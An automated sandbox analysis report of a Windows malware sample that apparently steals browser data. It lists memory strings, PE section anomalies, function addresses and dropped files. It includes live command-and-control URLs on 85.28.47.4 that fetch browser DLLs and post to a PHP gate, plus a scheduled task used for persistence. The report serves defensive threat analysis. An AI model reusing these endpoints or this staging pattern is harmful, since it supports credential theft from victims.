Source: EZrw1nNIpG.exe, 00000000.00000002.2389921177.000000000166B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.4/69934896f997d5bb/msvcp140.dll
Source: EZrw1nNIpG.exe, 00000000.00000002.2389921177.000000000176F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.4/69934896f997d5bb/nss3.dll
Source: EZrw1nNIpG.exe, 00000000.00000002.2389921177.000000000166B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.4/69934896f997d5bb/softokn3.dll
Source: EZrw1nNIpG.exe, 00000000.00000002.2389921177.0000000001634000.00000004.00000020.00020000.00000000.sdmp, EZrw1nNIpG.exe, 00000000.00000002.2389921177.000000000166B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.4/69934896f997d5bb/sqlite3.dll
Source: EZrw1nNIpG.exe, 00000000.00000002.2389921177.0000000001634000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.4/69934896f997d5bb/sqlite3.dllb
Source: EZrw1nNIpG.exe, 00000000.00000002.2389921177.0000000001634000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.4/69934896f997d5bb/sqlite3.dllq
Source: EZrw1nNIpG.exe, 00000000.00000002.2389921177.000000000164D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.4/69934896f997d5bb/vcruntime140.dlli8
Source: EZrw1nNIpG.exe, 00000000.00000002.2389921177.000000000164D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.4/69934896f997d5bb/vcruntime140.dlls9
Source: 3eb62d09c2.exe, 0000000D.00000002.2515715104.0000000001D37000.00000004.00000020.00020000.00000000.sdmp, 3eb62d09c2.exe, 0000000D.00000002.2515715104.0000000001D1C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.4/920475a59bac849d.php
Source: EZrw1nNIpG.exe, 00000000.00000002.2389921177.0000000001614000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.4/920475a59bac849d.php%
Source: 3eb62d09c2.exe, 0000000D.00000002.2515715104.0000000001D1C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.4/920475a59bac849d.php%?
Source: 3eb62d09c2.exe, 0000000D.00000002.2515715104.0000000001CF5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.4/920475a59bac849d.php5
Source: 3eb62d09c2.exe, 0000000D.00000002.2515715104.0000000001CF5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.4/920475a59bac849d.phpsHy~
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDCodeSigningCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0O
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/sha2-assured-cs-g1.crl05
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl07
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/sha2-assured-cs-g1.crl0K
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0A
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0C
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0N
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0X
Source: EZrw1nNIpG.exe, random[1].exe.10.dr, 3eb62d09c2.exe.10.dr	String found in binary or memory: http://pki-crl.symauth.com/ca_732b6ec148d290c0a071efd1dac8e288/LatestCRL.crl07
Source: EZrw1nNIpG.exe, random[1].exe.10.dr, 3eb62d09c2.exe.10.dr	String found in binary or memory: http://pki-crl.symauth.com/offlineca/TheInstituteofElectricalandElectronicsusersIncIEEERootCA.cr
Source: EZrw1nNIpG.exe, random[1].exe.10.dr, 3eb62d09c2.exe.10.dr	String found in binary or memory: http://pki-ocsp.symauth.com0
Source: Amcache.hve.6.dr	String found in binary or memory: http://upx.sf.net
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://www.digicert.com/CPS0
Source: EZrw1nNIpG.exe, EZrw1nNIpG.exe, 00000000.00000002.2417867750.000000006C83D000.00000002.00000001.01000000.00000008.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr	String found in binary or memory: http://www.mozilla.com/en-US/blocklist/
Source: EZrw1nNIpG.exe, 00000000.00000002.2417623775.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp, EZrw1nNIpG.exe, 00000000.00000002.2403659562.000000001CF1B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.sqlite.org/copyright.html.
Source: EZrw1nNIpG.exe, 00000000.00000003.2249129758.00000000016B8000.00000004.00000020.00020000.00000000.sdmp, HJKJEHJK.0.dr	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: EZrw1nNIpG.exe, 00000000.00000002.2389921177.000000000176F000.00000004.00000020.00020000.00000000.sdmp, ECGDHDHJEBGHJKFIECBG.0.dr	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696484494400800000.2&ci=1696484494189.
Source: EZrw1nNIpG.exe, 00000000.00000002.2389921177.000000000176F000.00000004.00000020.00020000.00000000.sdmp, ECGDHDHJEBGHJKFIECBG.0.dr	String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696484494400800000.1&ci=1696484494189.12791&cta
Source: EZrw1nNIpG.exe, 00000000.00000003.2249129758.00000000016B8000.00000004.00000020.00020000.00000000.sdmp, HJKJEHJK.0.dr	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: EZrw1nNIpG.exe, 00000000.00000003.2249129758.00000000016B8000.00000004.00000020.00020000.00000000.sdmp, HJKJEHJK.0.dr	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: EZrw1nNIpG.exe, 00000000.00000003.2249129758.00000000016B8000.00000004.00000020.00020000.00000000.sdmp, HJKJEHJK.0.dr	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: EZrw1nNIpG.exe, 00000000.00000002.2389921177.000000000176F000.00000004.00000020.00020000.00000000.sdmp, ECGDHDHJEBGHJKFIECBG.0.dr	String found in binary or memory: https://contile-images.services.mozilla.com/T23eBL4EHswiSaF6kya2gYsRHvdfADK-NYjs1mVRNGE.3351.jpg
Source: EZrw1nNIpG.exe, 00000000.00000002.2389921177.000000000176F000.00000004.00000020.00020000.00000000.sdmp, ECGDHDHJEBGHJKFIECBG.0.dr	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: EZrw1nNIpG.exe, 00000000.00000003.2249129758.00000000016B8000.00000004.00000020.00020000.00000000.sdmp, HJKJEHJK.0.dr	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: EZrw1nNIpG.exe, 00000000.00000003.2249129758.00000000016B8000.00000004.00000020.00020000.00000000.sdmp, HJKJEHJK.0.dr	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: EZrw1nNIpG.exe, 00000000.00000003.2249129758.00000000016B8000.00000004.00000020.00020000.00000000.sdmp, HJKJEHJK.0.dr	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: ECGDHDHJEBGHJKFIECBG.0.dr	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pLk4pqk4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: https://mozilla.org0/
Source: KKJDGDHIDBGIECBGHJDBAAKJDH.0.dr	String found in binary or memory: https://support.mozilla.org
Source: KKJDGDHIDBGIECBGHJDBAAKJDH.0.dr	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: KKJDGDHIDBGIECBGHJDBAAKJDH.0.dr	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.ZAnPVwXvBbYt
Source: EZrw1nNIpG.exe, 00000000.00000002.2389921177.000000000176F000.00000004.00000020.00020000.00000000.sdmp, ECGDHDHJEBGHJKFIECBG.0.dr	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_86277c656a4bd7d619968160e91c45fd066919bb3bd119b3
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: https://www.digicert.com/CPS0
Source: EZrw1nNIpG.exe, 00000000.00000003.2249129758.00000000016B8000.00000004.00000020.00020000.00000000.sdmp, HJKJEHJK.0.dr	String found in binary or memory: https://www.ecosia.org/newtab/
Source: EZrw1nNIpG.exe, 00000000.00000003.2249129758.00000000016B8000.00000004.00000020.00020000.00000000.sdmp, HJKJEHJK.0.dr	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: KKJDGDHIDBGIECBGHJDBAAKJDH.0.dr	String found in binary or memory: https://www.mozilla.org
Source: KKJDGDHIDBGIECBGHJDBAAKJDH.0.dr	String found in binary or memory: https://www.mozilla.org#
Source: EZrw1nNIpG.exe, 00000000.00000002.2385661873.0000000000858000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/about/
Source: KKJDGDHIDBGIECBGHJDBAAKJDH.0.dr	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.bwSC1pmG_zle
Source: EZrw1nNIpG.exe, 00000000.00000002.2385661873.0000000000858000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/about/t.exe
Source: EZrw1nNIpG.exe, 00000000.00000002.2385661873.000000000095A000.00000040.00000001.01000000.00000003.sdmp, EZrw1nNIpG.exe, 00000000.00000002.2385661873.0000000000858000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/
Source: KKJDGDHIDBGIECBGHJDBAAKJDH.0.dr	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.hjKdHaZH-dbQ
Source: EZrw1nNIpG.exe, 00000000.00000002.2385661873.000000000095A000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/vchost.exe
Source: KKJDGDHIDBGIECBGHJDBAAKJDH.0.dr	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: EZrw1nNIpG.exe, 00000000.00000002.2389921177.000000000176F000.00000004.00000020.00020000.00000000.sdmp, ECGDHDHJEBGHJKFIECBG.0.dr	String found in binary or memory: https://www.t-mobile.com/cell-phones/brand/apple?cmpid=MGPO_PAM_P_EVGRNIPHN_

System Summary

PE file contains section with special chars

Source: amadka[1].exe.0.dr	Static PE information: section name:
Source: amadka[1].exe.0.dr	Static PE information: section name: .idata
Source: amadka[1].exe.0.dr	Static PE information: section name:
Source: KKEBKJJDGH.exe.0.dr	Static PE information: section name:
Source: KKEBKJJDGH.exe.0.dr	Static PE information: section name: .idata
Source: KKEBKJJDGH.exe.0.dr	Static PE information: section name:
Source: explortu.exe.8.dr	Static PE information: section name:
Source: explortu.exe.8.dr	Static PE information: section name: .idata
Source: explortu.exe.8.dr	Static PE information: section name:

PE file has nameless sections

Source: EZrw1nNIpG.exe	Static PE information: section name:
Source: EZrw1nNIpG.exe	Static PE information: section name:
Source: EZrw1nNIpG.exe	Static PE information: section name:
Source: EZrw1nNIpG.exe	Static PE information: section name:
Source: EZrw1nNIpG.exe	Static PE information: section name:
Source: random[1].exe.10.dr	Static PE information: section name:
Source: random[1].exe.10.dr	Static PE information: section name:
Source: random[1].exe.10.dr	Static PE information: section name:
Source: random[1].exe.10.dr	Static PE information: section name:
Source: random[1].exe.10.dr	Static PE information: section name:
Source: 3eb62d09c2.exe.10.dr	Static PE information: section name:
Source: 3eb62d09c2.exe.10.dr	Static PE information: section name:
Source: 3eb62d09c2.exe.10.dr	Static PE information: section name:
Source: 3eb62d09c2.exe.10.dr	Static PE information: section name:
Source: 3eb62d09c2.exe.10.dr	Static PE information: section name:

Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Process Stats: CPU usage > 49%

Source: C:\Users\user\Desktop\EZrw1nNIpG.exe	Code function: 0_2_6C82B700 NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	0_2_6C82B700
Source: C:\Users\user\Desktop\EZrw1nNIpG.exe	Code function: 0_2_6C82B8C0 rand_s,NtQueryVirtualMemory,	0_2_6C82B8C0
Source: C:\Users\user\Desktop\EZrw1nNIpG.exe	Code function: 0_2_6C82B910 rand_s,NtQueryVirtualMemory,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,GetLastError,	0_2_6C82B910
Source: C:\Users\user\Desktop\EZrw1nNIpG.exe	Code function: 0_2_6C7CF280 NtQueryVirtualMemory,GetProcAddress,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	0_2_6C7CF280

Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe

File created: C:\Windows\Tasks\explortu.job

Jump to behavior

Source: C:\Users\user\Desktop\EZrw1nNIpG.exe	Code function: 0_2_6C7C35A0	0_2_6C7C35A0
Source: C:\Users\user\Desktop\EZrw1nNIpG.exe	Code function: 0_2_6C8234A0	0_2_6C8234A0
Source: C:\Users\user\Desktop\EZrw1nNIpG.exe	Code function: 0_2_6C82C4A0	0_2_6C82C4A0
Source: C:\Users\user\Desktop\EZrw1nNIpG.exe	Code function: 0_2_6C7D5440	0_2_6C7D5440
Source: C:\Users\user\Desktop\EZrw1nNIpG.exe	Code function: 0_2_6C806CF0	0_2_6C806CF0
Source: C:\Users\user\Desktop\EZrw1nNIpG.exe	Code function: 0_2_6C83AC00	0_2_6C83AC00
Source: C:\Users\user\Desktop\EZrw1nNIpG.exe	Code function: 0_2_6C805C10	0_2_6C805C10
Source: C:\Users\user\Desktop\EZrw1nNIpG.exe	Code function: 0_2_6C812C10	0_2_6C812C10
Source: C:\Users\user\Desktop\EZrw1nNIpG.exe	Code function: 0_2_6C7CD4E0	0_2_6C7CD4E0
Source: C:\Users\user\Desktop\EZrw1nNIpG.exe	Code function: 0_2_6C83542B	0_2_6C83542B
Source: C:\Users\user\Desktop\EZrw1nNIpG.exe	Code function: 0_2_6C7ED4D0	0_2_6C7ED4D0
Source: C:\Users\user\Desktop\EZrw1nNIpG.exe	Code function: 0_2_6C7D64C0	0_2_6C7D64C0
Source: C:\Users\user\Desktop\EZrw1nNIpG.exe	Code function: 0_2_6C83545C	0_2_6C83545C
Source: C:\Users\user\Desktop\EZrw1nNIpG.exe	Code function: 0_2_6C7D6C80	0_2_6C7D6C80
Source: C:\Users\user\Desktop\EZrw1nNIpG.exe	Code function: 0_2_6C800DD0	0_2_6C800DD0
Source: C:\Users\user\Desktop\EZrw1nNIpG.exe	Code function: 0_2_6C7F0512	0_2_6C7F0512
Source: C:\Users\user\Desktop\EZrw1nNIpG.exe	Code function: 0_2_6C7EED10	0_2_6C7EED10
Source: C:\Users\user\Desktop\EZrw1nNIpG.exe	Code function: 0_2_6C8285F0	0_2_6C8285F0
Source: C:\Users\user\Desktop\EZrw1nNIpG.exe	Code function: 0_2_6C7DFD00	0_2_6C7DFD00
Source: C:\Users\user\Desktop\EZrw1nNIpG.exe	Code function: 0_2_6C82E680	0_2_6C82E680
Source: C:\Users\user\Desktop\EZrw1nNIpG.exe	Code function: 0_2_6C7CC670	0_2_6C7CC670
Source: C:\Users\user\Desktop\EZrw1nNIpG.exe	Code function: 0_2_6C824EA0	0_2_6C824EA0
Source: C:\Users\user\Desktop\EZrw1nNIpG.exe	Code function: 0_2_6C7E9E50	0_2_6C7E9E50
Source: C:\Users\user\Desktop\EZrw1nNIpG.exe	Code function: 0_2_6C7E4640	0_2_6C7E4640
Source: C:\Users\user\Desktop\EZrw1nNIpG.exe	Code function: 0_2_6C8376E3	0_2_6C8376E3
Source: C:\Users\user\Desktop\EZrw1nNIpG.exe	Code function: 0_2_6C815600	0_2_6C815600
Source: C:\Users\user\Desktop\EZrw1nNIpG.exe	Code function: 0_2_6C7CBEF0	0_2_6C7CBEF0
Source: C:\Users\user\Desktop\EZrw1nNIpG.exe	Code function: 0_2_6C7DFEF0	0_2_6C7DFEF0
Source: C:\Users\user\Desktop\EZrw1nNIpG.exe	Code function: 0_2_6C807E10	0_2_6C807E10
Source: C:\Users\user\Desktop\EZrw1nNIpG.exe	Code function: 0_2_6C829E30	0_2_6C829E30
Source: C:\Users\user\Desktop\EZrw1nNIpG.exe	Code function: 0_2_6C812E4E	0_2_6C812E4E
Source: C:\Users\user\Desktop\EZrw1nNIpG.exe	Code function: 0_2_6C803E50	0_2_6C803E50
Source: C:\Users\user\Desktop\EZrw1nNIpG.exe	Code function: 0_2_6C836E63	0_2_6C836E63
Source: C:\Users\user\Desktop\EZrw1nNIpG.exe	Code function: 0_2_6C7E5E90	0_2_6C7E5E90
Source: C:\Users\user\Desktop\EZrw1nNIpG.exe	Code function: 0_2_6C8177A0	0_2_6C8177A0
Source: C:\Users\user\Desktop\EZrw1nNIpG.exe	Code function: 0_2_6C7D9F00	0_2_6C7D9F00
Source: C:\Users\user\Desktop\EZrw1nNIpG.exe	Code function: 0_2_6C7F6FF0	0_2_6C7F6FF0
Source: C:\Users\user\Desktop\EZrw1nNIpG.exe	Code function: 0_2_6C807710	0_2_6C807710
Source: C:\Users\user\Desktop\EZrw1nNIpG.exe	Code function: 0_2_6C7CDFE0	0_2_6C7CDFE0
Source: C:\Users\user\Desktop\EZrw1nNIpG.exe	Code function: 0_2_6C7E8850	0_2_6C7E8850
Source: C:\Users\user\Desktop\EZrw1nNIpG.exe	Code function: 0_2_6C7ED850	0_2_6C7ED850
Source: C:\Users\user\Desktop\EZrw1nNIpG.exe	Code function: 0_2_6C8350C7	0_2_6C8350C7
Source: C:\Users\user\Desktop\EZrw1nNIpG.exe	Code function: 0_2_6C8058E0	0_2_6C8058E0
Source: C:\Users\user\Desktop\EZrw1nNIpG.exe	Code function: 0_2_6C7D7810	0_2_6C7D7810
Source: C:\Users\user\Desktop\EZrw1nNIpG.exe	Code function: 0_2_6C7EC0E0	0_2_6C7EC0E0
Source: C:\Users\user\Desktop\EZrw1nNIpG.exe	Code function: 0_2_6C80B820	0_2_6C80B820
Source: C:\Users\user\Desktop\EZrw1nNIpG.exe	Code function: 0_2_6C814820	0_2_6C814820
Source: C:\Users\user\Desktop\EZrw1nNIpG.exe	Code function: 0_2_6C7F60A0	0_2_6C7F60A0
Source: C:\Users\user\Desktop\EZrw1nNIpG.exe	Code function: 0_2_6C80F070	0_2_6C80F070
Source: C:\Users\user\Desktop\EZrw1nNIpG.exe	Code function: 0_2_6C805190	0_2_6C805190
Source: C:\Users\user\Desktop\EZrw1nNIpG.exe	Code function: 0_2_6C822990	0_2_6C822990
Source: C:\Users\user\Desktop\EZrw1nNIpG.exe	Code function: 0_2_6C7DD960	0_2_6C7DD960
Source: C:\Users\user\Desktop\EZrw1nNIpG.exe	Code function: 0_2_6C7EA940	0_2_6C7EA940
Source: C:\Users\user\Desktop\EZrw1nNIpG.exe	Code function: 0_2_6C7FD9B0	0_2_6C7FD9B0
Source: C:\Users\user\Desktop\EZrw1nNIpG.exe	Code function: 0_2_6C7CC9A0	0_2_6C7CC9A0
Source: C:\Users\user\Desktop\EZrw1nNIpG.exe	Code function: 0_2_6C81B970	0_2_6C81B970
Source: C:\Users\user\Desktop\EZrw1nNIpG.exe	Code function: 0_2_6C83B170	0_2_6C83B170
Source: C:\Users\user\Desktop\EZrw1nNIpG.exe	Code function: 0_2_6C83BA90	0_2_6C83BA90
Source: C:\Users\user\Desktop\EZrw1nNIpG.exe	Code function: 0_2_6C832AB0	0_2_6C832AB0
Source: C:\Users\user\Desktop\EZrw1nNIpG.exe	Code function: 0_2_6C808AC0	0_2_6C808AC0
Source: C:\Users\user\Desktop\EZrw1nNIpG.exe	Code function: 0_2_6C80E2F0	0_2_6C80E2F0
Source: C:\Users\user\Desktop\EZrw1nNIpG.exe	Code function: 0_2_6C7E1AF0	0_2_6C7E1AF0
Source: C:\Users\user\Desktop\EZrw1nNIpG.exe	Code function: 0_2_6C7DCAB0	0_2_6C7DCAB0
Source: C:\Users\user\Desktop\EZrw1nNIpG.exe	Code function: 0_2_6C7C22A0	0_2_6C7C22A0
Source: C:\Users\user\Desktop\EZrw1nNIpG.exe	Code function: 0_2_6C7F4AA0	0_2_6C7F4AA0
Source: C:\Users\user\Desktop\EZrw1nNIpG.exe	Code function: 0_2_6C809A60	0_2_6C809A60
Source: C:\Users\user\Desktop\EZrw1nNIpG.exe	Code function: 0_2_6C7DC370	0_2_6C7DC370
Source: C:\Users\user\Desktop\EZrw1nNIpG.exe	Code function: 0_2_6C7C5340	0_2_6C7C5340
Source: C:\Users\user\Desktop\EZrw1nNIpG.exe	Code function: 0_2_6C8353C8	0_2_6C8353C8
Source: C:\Users\user\Desktop\EZrw1nNIpG.exe	Code function: 0_2_6C80D320	0_2_6C80D320
Source: C:\Users\user\Desktop\EZrw1nNIpG.exe	Code function: 0_2_6C7CF380	0_2_6C7CF380
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Code function: 10_2_00262818	10_2_00262818
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Code function: 10_2_00224CD0	10_2_00224CD0
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Code function: 10_2_00257533	10_2_00257533
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Code function: 10_2_00266E0B	10_2_00266E0B
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Code function: 10_2_002666B9	10_2_002666B9
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Code function: 10_2_00224AD0	10_2_00224AD0
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Code function: 10_2_00267ED0	10_2_00267ED0
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Code function: 10_2_00266F2B	10_2_00266F2B
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Code function: 10_2_00262380	10_2_00262380
Source: C:\Users\user\AppData\Local\Temp\1000022001\3eb62d09c2.exe	Code function: 13_2_7F210000	13_2_7F210000
Source: C:\Users\user\AppData\Local\Temp\1000022001\3eb62d09c2.exe	Code function: 13_2_7F2109B9	13_2_7F2109B9

Source: Joe Sandbox View	Dropped File: C:\ProgramData\freebl3.dll EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
Source: Joe Sandbox View	Dropped File: C:\ProgramData\mozglue.dll BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A

Source: C:\Users\user\Desktop\EZrw1nNIpG.exe	Code function: String function: 6C7FCBE8 appears 134 times
Source: C:\Users\user\Desktop\EZrw1nNIpG.exe	Code function: String function: 6C8094D0 appears 90 times

Source: EZrw1nNIpG.exe, 00000000.00000002.2418828385.000000006CA45000.00000002.00000001.01000000.00000007.sdmp	Binary or memory string: OriginalFilenamenss3.dll0 vs EZrw1nNIpG.exe
Source: EZrw1nNIpG.exe, 00000000.00000002.2417944782.000000006C852000.00000002.00000001.01000000.00000008.sdmp	Binary or memory string: OriginalFilenamemozglue.dll0 vs EZrw1nNIpG.exe

Source: EZrw1nNIpG.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: EZrw1nNIpG.exe	Static PE information: Section: ZLIB complexity 0.9994998094512195
Source: EZrw1nNIpG.exe	Static PE information: Section: ZLIB complexity 0.99383544921875
Source: EZrw1nNIpG.exe	Static PE information: Section: ZLIB complexity 0.9896240234375
Source: amadka[1].exe.0.dr	Static PE information: Section: ZLIB complexity 0.9981702867445055
Source: amadka[1].exe.0.dr	Static PE information: Section: kcajosdi ZLIB complexity 0.9943970017899761
Source: KKEBKJJDGH.exe.0.dr	Static PE information: Section: ZLIB complexity 0.9981702867445055
